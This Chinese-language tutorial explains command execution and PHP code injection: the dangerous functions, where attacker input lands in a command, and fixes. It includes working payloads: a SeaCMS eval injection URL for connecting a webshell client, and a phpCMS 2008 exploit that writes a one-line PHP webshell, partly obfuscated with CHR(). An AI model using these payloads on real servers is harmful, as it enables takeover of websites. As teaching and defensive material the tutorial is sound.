溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

命令執(zhí)行漏洞

發(fā)布時(shí)間:2020-05-26 20:12:17 來源:網(wǎng)絡(luò) 閱讀:4424 作者:wt7315 欄目:安全技術(shù)


0x01:命令執(zhí)行漏洞簡(jiǎn)介

用戶通過瀏覽器提交執(zhí)行命令,由于服務(wù)器端沒有針對(duì)執(zhí)行函數(shù)做過濾,導(dǎo)致在沒有指定絕對(duì)路徑的情況下就執(zhí)行命令,可能會(huì)允許使用者通過改變 $PATH 或程序執(zhí)行環(huán)境的其他方面來執(zhí)行一個(gè)惡意構(gòu)造的代碼

 


0x02:命令執(zhí)行 VS 代碼執(zhí)行

1. 命令執(zhí)行漏洞:

    直接調(diào)用操作系統(tǒng)命令

2. 代碼執(zhí)行漏洞:

    靠執(zhí)行腳本代碼調(diào)用操作系統(tǒng)命令



命令執(zhí)行原理:

   在操作系統(tǒng)中,“&、|、||”都可以作為命令連接符使用,用戶通過瀏覽器提交執(zhí)行命令,由于服務(wù)器端沒有針對(duì)執(zhí)行函數(shù)做過濾,導(dǎo)致在沒有指定絕對(duì)路徑的情況下就執(zhí)行命令

代碼執(zhí)行原理:

  應(yīng)用有時(shí)需要調(diào)用一些執(zhí)行系統(tǒng)命令的函數(shù),如PHP中的systemexec、assert、shell_exec、passthru、popen、proc_popen

escapeshellcmd、pcntl_exec等,當(dāng)用戶能控制這些函數(shù)中的參數(shù)時(shí),就可以將惡意系統(tǒng)命令拼接到正常命令中,從而造成命令執(zhí)行***,這就是命令執(zhí)行漏洞。以上函數(shù)主要也在webshell中用的多,實(shí)際上在正常應(yīng)用中差別不太大,用得最多的還是前三個(gè)。

 


0x03:命令執(zhí)行漏洞利用條件

  應(yīng)用調(diào)用執(zhí)行系統(tǒng)命令的函數(shù)

  將用戶輸入作為系統(tǒng)命令的參數(shù)拼接到了命令行中

  沒有對(duì)用戶輸入進(jìn)行過濾或過濾不嚴(yán)

 

 

0x04:命令執(zhí)行漏洞分類

1.代碼層過濾不嚴(yán)

 商業(yè)應(yīng)用的一些核心代碼封裝在二進(jìn)制文件中,在web應(yīng)用中通過system函來調(diào)用:

system("/bin/program --arg$arg");

2.系統(tǒng)的漏洞造成命令注入

bash破殼漏洞(CVE-2014-6271)

3.調(diào)用的第三方組件存在代碼執(zhí)行漏洞

WordPress中用來處理圖片的ImageMagick組件

JAVA中的命令執(zhí)行漏洞(struts2/ElasticsearchGroovy)

ThinkPHP命令執(zhí)行

 

 

0x05:命令函數(shù)的利用

 1. Systemsystem函數(shù)可以用來執(zhí)行一個(gè)外部的應(yīng)用程序并將相應(yīng)的執(zhí)行結(jié)果輸出,函數(shù)原型如下:

 string system(string command, int&return_var)

其中,command是要執(zhí)行的命令,return_var存放執(zhí)行命令的執(zhí)行后的狀態(tài)值。

 

 2. Execexec函數(shù)可以用來執(zhí)行一個(gè)外部的應(yīng)用程序

string exec (string command, array&output, int &return_var)

其中,command是要執(zhí)行的命令,output是獲得執(zhí)行命令輸出的每一行字符串,return_var存放執(zhí)行命令后的狀態(tài)值。

 

 

 3.Passthrupassthru函數(shù)可以用來執(zhí)行一個(gè)UNIX系統(tǒng)命令并顯示原始的輸出,當(dāng)UNIX系統(tǒng)命令的輸出是二進(jìn)制的數(shù)據(jù),并且需要直接返回值給瀏覽器時(shí),需要使用passthru函數(shù)來替代systemexec函數(shù)。Passthru函數(shù)原型如下:

void passthru (string command, int&return_var)

其中,command是要執(zhí)行的命令,return_var存放執(zhí)行命令后的狀態(tài)值。


 4. Shell_exec:執(zhí)行shell命令并返回輸出的字符串,函數(shù)原型如下:

string shell_exec (string command)

其中,command是要執(zhí)行的命令。

 

 0x06:命令常見可控位置

常見可控位置情況有下面幾種:

system("$arg"); //可控點(diǎn)直接是待執(zhí)行的程序

system("/bin/prog $arg"); //可控點(diǎn)是傳入程序的整個(gè)參數(shù)

system("/bin/prog -p $arg"); //可控點(diǎn)是傳入程序的某個(gè)參數(shù)的值(無引號(hào)包裹)

system("/bin/prog --p=\"$arg\"");//可控點(diǎn)是傳入程序的某個(gè)參數(shù)的值(有雙引號(hào)包裹)

system("/bin/prog --p='$arg'"); //可控點(diǎn)是傳入程序的某個(gè)參數(shù)的值(有單引號(hào)包裹)

  sys=ctypes.cdll.LoadLibrary('/lib64/libc.so.6')   
  
sys.system(cmd)

第一種情況

如果我們能直接控制$arg,那么就能執(zhí)行執(zhí)行任意命令了,沒太多好說的。

第二種情況

我們能夠控制的點(diǎn)是程序的整個(gè)參數(shù),我們可以直接用&& || 或 | 等等,利用與、或、管道命令來執(zhí)行其他命令(可以涉及到很多l(xiāng)inux命令行技巧)。

還有一個(gè)偏門情況,當(dāng)$arg被 escapeshellcmd處理之后,我們不能越出這個(gè)外部程序的范圍,我們可以看看這個(gè)程序自身是否有“執(zhí)行外部命令”的參數(shù)或功能,比如linux下的sendmail 命令自帶讀寫文件功能,我們可以用來寫webshell。

第三種情況

我們控制的點(diǎn)是一個(gè)參數(shù),我們也同樣可以利用與、或、管道來執(zhí)行其他命令,情境與二無異。

第四種情況

這種情況壓力大一點(diǎn),有雙引號(hào)包裹。如果引號(hào)沒有被轉(zhuǎn)義,我們可以先閉合引號(hào),成為第三種情況后按照第三種情況來利用,如果引號(hào)被轉(zhuǎn)義(addslashes),我們也不必著急。linux shell 環(huán)境下雙引號(hào)中間的變量也是可以被解析的,我們可以在雙引號(hào)內(nèi)利用反引號(hào)執(zhí)行任意命令 `id`

第五種情況

這是最難受的一種情況了,因?yàn)閱我?hào)內(nèi)只是一個(gè)字符串,我們要先閉合單引號(hào)才可以執(zhí)行命令。如:system("/bin/prog –p='aaa' | id")

危害自然不言而喻,執(zhí)行命令可以讀寫文件、反彈shell、獲得系統(tǒng)權(quán)限、內(nèi)網(wǎng)***等。

在漏洞檢測(cè)中,除了有回顯的命令注入(比如執(zhí)行dir 命令或者cat 讀取系統(tǒng)文件);還可以使用盲打的方式,比如curl遠(yuǎn)程機(jī)器的某個(gè)目錄(看access.log),或者通過dns解析的方式獲取到漏洞機(jī)器發(fā)出的請(qǐng)求。



0x07:命令漏洞危害

 繼承Web服務(wù)程序的權(quán)限去執(zhí)行系統(tǒng)命令或讀 - 寫文件

 反彈shell

 控制整個(gè)網(wǎng)站甚至控制服務(wù)器

 進(jìn)一步內(nèi)網(wǎng)橫向***


0x08:海洋cms實(shí)例

命令執(zhí)行常用的函數(shù),eval(),system(),proc_open()之類的,因此能執(zhí)行php代碼一般就是 eval() 函數(shù)

,

搜索一下這個(gè)頁面有eval函數(shù)的地方

for($m=0;$m<$arlen;$m++){
           $strIf=$iar[1][$m];
           $strIf=$this->parseStrIf($strIf);
           $strThen=$iar[2][$m];
           $strThen=$this->parseSubIf($strThen);
           if (strpos($strThen,$labelRule2)===false){
                if(strpos($strThen,$labelRule3)>=0){
                   $elsearray=explode($labelRule3,$strThen);
                    $strThen1=$elsearray[0];
                    $strElse1=$elsearray[1];
                   @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
                    if ($ifFlag){$content=str_replace($iar[0][$m],$strThen1,$content);} else{$content=str_replace($iar[0][$m],$strElse1,$content);}
                }else{
               @eval("if(".$strIf.") { \$ifFlag=true;} else{\$ifFlag=false;}");
                if ($ifFlag)$content=str_replace($iar[0][$m],$strThen,$content); else$content=str_replace($iar[0][$m],"",$content);}


可以在這里下個(gè)斷點(diǎn),把變量打印出來

就可以清晰的看到就是在這執(zhí)行了我們的命令

http://192.168.0.37search.php?searchtype=5&tid=&area=eval($_POST[cmd])

命令執(zhí)行漏洞


菜刀連接

0x09:命令執(zhí)行漏洞常見繞過

0x10:命令執(zhí)行漏洞防御


 1.盡量不要使用系統(tǒng)執(zhí)行命令

 2.在進(jìn)入執(zhí)行命令函數(shù)方法之前,變量一定要做好過濾,對(duì)敏感字符進(jìn)行轉(zhuǎn)義

 3.在使用動(dòng)態(tài)函數(shù)之前,確保使用的函數(shù)是指定的函數(shù)之一

 4.對(duì)PHP語言來說,不能完全控制的危險(xiǎn)函數(shù)最好不要使用

二、代碼注入

0x11、代碼注入漏洞成因

當(dāng)應(yīng)用在調(diào)用一些能將字符串轉(zhuǎn)化成代碼的函數(shù)(如php中的eval)時(shí),沒有考慮用戶是否能控制這個(gè)字符串,將造成代碼注入漏洞。

幾種常用語言,都有將字符串轉(zhuǎn)化成代碼去執(zhí)行的相關(guān)函數(shù),如:

  • PHP:eval、assert

  • Javascript:eval

  • Vbscript: Execute、Eval

  • Python:exec

  • Java:Java中沒有類似php中eval 函數(shù)這種直接可以將字符串轉(zhuǎn)化為代碼執(zhí)行的函數(shù),但是有反射機(jī)制,并且有各種基于反射機(jī)制的表達(dá)式引擎,如:OGNL、SpEL、MVEL等,這些都能造成代碼執(zhí)行漏洞

應(yīng)用有時(shí)候會(huì)考慮靈活性、簡(jiǎn)潔性,在代碼中調(diào)用eval之類的函數(shù)去處理。如phpcms中很常用的string2array 函數(shù):

function string2array($data) {if($data == '') return array();@eval("\$array = $data;");return $array;}

PHP中能造成代碼注入的主要函數(shù): eval 、 preg_replace + /e模式 、assert

用的一般就是前兩者,CMS中很少用到assert的,至于一些偏門函數(shù)就更少了,用的情況僅限于留后門。 常見用法也有如下一些:

  eval("\$ret = $data;"); 
  
eval("\$ret = deal('$data');"); 
  
eval("\$ret = deal("$data");"); 
  
preg_replace('/<data>(.*)</data>/e', '$ret = "\\1";'); 

preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['h']);
?>

第一個(gè)就是剛才之前說phpcms 的,通常$data不會(huì)直接來自POST或GET變量(要不也太水了),但通過一些二次漏洞很可能能夠造出代碼執(zhí)行(如SQL注入)。 第二個(gè)是將$data使用一個(gè)函數(shù)(deal)處理后再賦值給$ret。那么,傳參的方式就很重要了。第二個(gè)用的是單引號(hào)傳參,那么我們只能先閉合單引號(hào),之后才能注入代碼。如果應(yīng)用全局做了addslashes或GPC=on的話,就不能夠注入代碼了。 第三個(gè)與第二個(gè)類似,但使用的是雙引號(hào)傳參。雙引號(hào)在代碼中有個(gè)很重要的特性,它能解析其中的函數(shù),如我們傳入${phpinfo()},phpinfo將會(huì)被執(zhí)行,而得到的返回值作為參數(shù)傳入deal 函數(shù)。這個(gè)時(shí)候,我們就不用考慮閉合引號(hào)的事了。 第四個(gè)是preg_replace函數(shù)的誤用,這種用法出現(xiàn)的情況是最多的,也是因?yàn)閜reg_replace第二個(gè)參數(shù)中,包裹正則結(jié)果\\1的是雙引號(hào),通過第三個(gè)中的方式,也能執(zhí)行任意代碼。
注意,第五個(gè)示例中包裹\\1 的可以是雙引號(hào)或者單引號(hào),都可以造成命令執(zhí)行,提交 h=[php]phpinfo()[/php] 。

php curly syntax: ${`ls`} 它將執(zhí)行花括號(hào)內(nèi)的代碼,并將結(jié)果替換回去。

0x12、phpCMS 2008 命令執(zhí)行漏洞

index.php?userid=abc&menu=xxx

我們?cè)L問時(shí)填的 userid 在數(shù)據(jù)庫是查找不到的,這樣無法從數(shù)據(jù)庫返回結(jié)果中 extract 出 $menu 變量的定義,在但最開始 程序會(huì)把 $_GET 獲取到的參數(shù)都 extract 出來,這樣的話 menu 變量的值可以由我們控制,

由于 $menu 不為空,如果 menu=phpinfo(); exit(); 內(nèi)部執(zhí)行 string2array 函數(shù),

eval("\$arr=$data"); 時(shí)會(huì) 執(zhí)行命令,即 eval("\$arr=phpinfo();exit();");

進(jìn)一步地,我們可以將一句話***寫成 webshell 文件放到網(wǎng)站服務(wù)器目錄下

一句話*** <?php eval($_GET['func']($_GET['cmd'])); ?>

menu=file_put_contents('shell.php', ' <?php eval($_GET['func']($_GET['cmd'])); ?> ')

為了防止轉(zhuǎn)義等導(dǎo)致命令執(zhí)行不成功,可以用 ascii 碼形式,即

index.php?userid=abc&menu=file_put_contents(CHR(115).CHR(104).CHR(101).CHR(108).CHR(108).CHR(42).CHR(112).CHR(104).CHR(112), ...);exit()

下次我們可以直接訪問 shell.php?func=system&cmd=dir,執(zhí)行php 代碼 system(dir)。

類似會(huì)造成變量覆蓋的函數(shù)還有:import_request_variables(), parse_str() 等

0x13、代碼注入繞過

0x14、OOB外帶數(shù)據(jù)


0x15、代碼注入修復(fù)方案

  • 能使用json 保存數(shù)組、對(duì)象就使用json,不要將php對(duì)象保存成字符串,否則讀取的時(shí)候需要使用eval。將字符串轉(zhuǎn)化為對(duì)象的過程其實(shí)是將數(shù)據(jù)轉(zhuǎn)化為代碼的過程,這個(gè)過程很容易出現(xiàn)漏洞,像php的unserialize 導(dǎo)致代碼執(zhí)行、struts2的ognl 命令執(zhí)行等漏洞都是這個(gè)過程導(dǎo)致的。

  • 對(duì)于必須使用eval 的情況,一定要保證用戶不能輕易接觸eval 的參數(shù)(或用正則嚴(yán)格判斷輸入的數(shù)據(jù)格式)。對(duì)于字符串,一定要使用單引號(hào)包裹可控代碼,并再插入前進(jìn)行addslashes,這樣就無法閉合單引號(hào),又因?yàn)椴皇请p引號(hào)包裹,故不能執(zhí)行 ${} 。
    evil('${phpinfo()}')、evil("phpinfo()") 等都不會(huì)執(zhí)行, evil("${phpinfo()}")、evil(phpinfo())evil(${@phpinfo()}) 都可以執(zhí)行,因?yàn)殡p引號(hào)里面內(nèi)容會(huì)被當(dāng)作變量解析一次,函數(shù)前加 @ 表示執(zhí)行函數(shù)時(shí)不報(bào)錯(cuò)。
    $data = addslashes($data);eval("\$data = deal('$data');");

  • 放棄使用preg_replace 的e修飾符,而換用 preg_replace_callback 替代。如果非要使用preg_replace的e模式的話,請(qǐng)保證第二個(gè)參數(shù)中,對(duì)于正則匹配出的對(duì)象,用單引號(hào)包裹(第4個(gè)示例)。

  • 確保register_globals = off, 若不能自定義php.ini,則應(yīng)該在代碼中控制;其次,熟悉可能造成變量覆蓋的函數(shù)和方法,檢查用戶是否能控制變量的來源;最后,養(yǎng)成初始化變量的好習(xí)慣。

  • 能夠往本地寫入的函數(shù)都需要重點(diǎn)關(guān)注,如 file_put_contents(), fwrite(), fputs() 等。

  • 在自動(dòng)化漏洞檢測(cè)中可以 直接帶入類似 ";print(md5(test));$a=" ,匹配返回頁面是否有 md5 字符串。


向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI